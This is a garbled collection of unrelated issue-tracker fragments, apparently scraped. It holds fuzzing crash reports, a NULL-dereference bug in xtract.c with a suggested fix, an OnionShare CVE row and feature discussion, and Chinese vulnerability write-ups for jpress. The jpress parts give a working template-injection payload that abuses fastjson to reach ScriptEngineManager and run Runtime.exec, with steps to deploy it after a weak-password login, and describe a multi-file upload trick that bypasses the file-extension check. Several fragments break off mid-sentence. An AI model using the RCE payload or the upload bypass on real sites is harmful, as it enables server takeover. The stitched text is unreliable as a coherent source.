Hello,
A heap-buffer-overflow has occurred when running program MP4Box,which leads to a Deny of Service caused by dividing zero without sanity check,this can reproduce on the lattest commit.
System info：

As below code shows:
```

] | Hi folks,
An interesting crash was found while fuzz testing of the mesh2poly binary which can be triggered via a malformed mesh file. Although the below malformed file only crashes the program as-is, it could potentially be crafted further and create a security issue where these kinds of files would be able compromise the process's memory through taking advantage of affordances given by memory corruption. It's recommend to harden the code to prevent these kinds of bugs as it could greatly mitigate such this issue and even future bugs.
**crash.mesh** (create file from scratch, no magic bytes necessary)
```
echo -ne `perl -e 'print "B" x 2176'` > test.mesh
```

Hash: ea307ff89c1110d6e6c6f565bfc6a9ce.350b4f5ab2938b2eb4fa0a598f3508e1
Exploitability Classification: EXPLOITABLE
Explanation: The target stopped while handling a signal that was generated by libc due to detection of a stack buffer overflow. Stack buffer overflows are generally considered exploitable.

The reason for this bug is that the program does not check the nullity of the pointer before copy memory to it.

jpress后台存在模板编辑功能，不过存在些许过滤，我们使用fastjson来辅助获取`ScriptEngineManager`，然后执行任意js代码，就可以实现rce，payload如下
```
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager"))
#set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(e=x.getEngineByName("js"))
#(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))
```
# 效果演示
弱密码进入后台，修改article模板，加入上面给的payload
点击更新文件
访问http://localhost/article/1，计算器弹出，验证成功

SVG 文件包含 JS 脚本可能会引发的 XSS 漏洞，当然目前也仅仅只有在管理端会触发，但有一定必要做优化。
SVG 文件示例：

Hi, there.
There is a segmentation fault caused by buffer overflow (overwrite) in svc_parse_slice, av_parsers.c:5788 in commit 592ba2689a3.
This vulnerability is similar to the npd reported in #1898. However, this one is more serious since it allows memory manipulation.

If the ipAddrStr is NULL, strchr() will crash. Should there be a check?

## Description
I am learning model checking. But I run a fuzzer for fun today.
My fuzzer has found a Use After Free in modex.
The chunk 0x5555555b96b0 was freed.Then the tcache key was covered and the chunk was freed again.

## Description
NULL Pointer Dereference in `set_create_id()` at xtract.c:3797.
If there is no `&` in the first argument of `pthread_t()`, `s` will be NULL and the next `strchr()` will crash.
```c
void
set_create_id(void) // from the 1st '&(' to the 1st '),' in OutBuf
{ char *s, *e;
join_id = 0;
s = strchr(OutBuf, '&');
e = strchr(s+1, ')');
if (!e || e-s <= 1) { return; }
join_id = (char *) e_malloc((e-s) * sizeof(char));
strncpy(join_id, s+2, (e-s)-1-1);
}
```
```c
pthread_create(&t, 0, thread, 0);
► 0x55555556aa76 <set_create_id+35> call strchr@plt <strchr@plt>
s: 0x5555555a2080 (OutBuf) ◂— 'F: pthread_create((&(Pp_main->t)),0,Pp_main->thread,0)'

## fix
Should we add some code here to handle it?
If there is no `&`，get the substring from the 1st '(' to the 1st ',' in OutBuf.
```c
void
set_create_id(void) // from the 1st '&(' to the 1st '),' in OutBuf or from the 1st '(' to the 1st ',' in OutBuf
{ char *s, *e;
join_id = 0;
s = strchr(OutBuf, '&');
if (s != NULL)
{ e = strchr(s+1, ')');
}
else
{
s = strchr(OutBuf, '(')-1;
e = strchr(s+1, ',');
}
if (!e || e-s <= 1) { return; }
join_id = (char *) e_malloc((e-s) * sizeof(char));
strncpy(join_id, s+2, (e-s)-1-1);
}
```

This cause the VPN server not accept any connection request and need manual restart the service.

CVE-2022-21694 | 2022-01-18T23:15:08.783 | OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. The website mode of the onionshare allows to use a hardened CSP, which will block any scripts and external resources. It is not possible to configure this CSP for individual pages and therefore the security enhancement cannot be used for websites using javascript or external resources like fonts or images. | {

] | Right now when OnionShare starts a web service, it uses `app.run` to start it directly in flask. I think instead we should launch an `nginx` subprocess and use that along with gunicorn to host the flask app.
- We already have an issue to use gunicorn (#1022) instead of flask directly, and this will be much simpler if we use nginx
- If we use nginx, we can get gzip for free and don't need to gzip everything and fill up `/tmp` (#1328), and I suspect we could simplify a lot of the web server code in other ways too
- If we use nginx, we get simple working range requests (#1333)
- If we use nginx and implement the download accelerator (#1295) we get much better performance, e.g. quicker download speeds
Before implementing this, I'm not sure how a few things will work:
- Progress bars. If someone downloads a file from nginx, how can we hook into the real-time file transfer to make progress bars work?
- "Stop sharing after files have been sent". How do we know that the files are finished sending? | Use nginx as the web service, instead of flask's app.run | https://api.github.com/repos/onionshare/onionshare/issues/1389/comments | 2 | 2021-08-15T16:57:30Z | 2023-06-06T07:31:27Z | https://github.com/onionshare/onionshare/issues/1389 | 971,179,095 | 1,389 | 3,019 |

jpress框架在安装好之后默认用户注册登录功能
我们可以随意注册一个用户进入到个人主页
在个人主页有文件上传接口，先尝试上传一个html文件，用bp抓包之后发现上传失败了
再来看看成功的回显，这次把后缀改成jpg，成功时会直接回显图片的路径
来看后端的代码，在`io.jpress.web.commons.controller.AttachmentController#upload`。首先，在51行调用了`getFile`，获取我们上传的文件
跟进`getFile`，发现这个方法首先获取了上传的文件数组，然后返回第0个元素，说明我们是可以上传多个文件的
在执行完`getFile`之后，可以看到，我们上传的文件已经被保存到了临时文件目录，也就是attachment目录下。
紧接着，在65行，判断了文件是否合法，不合法就删除
看到这里应该能想到问题。我们可以上传多个文件（都会存储到临时文件目录），但是最后只检查了第一个文件，如果不合法就删除，其他文件是不会受影响的。
于是我们尝试上传多个文件，直接在bp当中改数据包，加多一个文件
发包之后发现，1.html成功上传到了attachment目录，成功绕过了后缀名限制，实现了任意文件上传
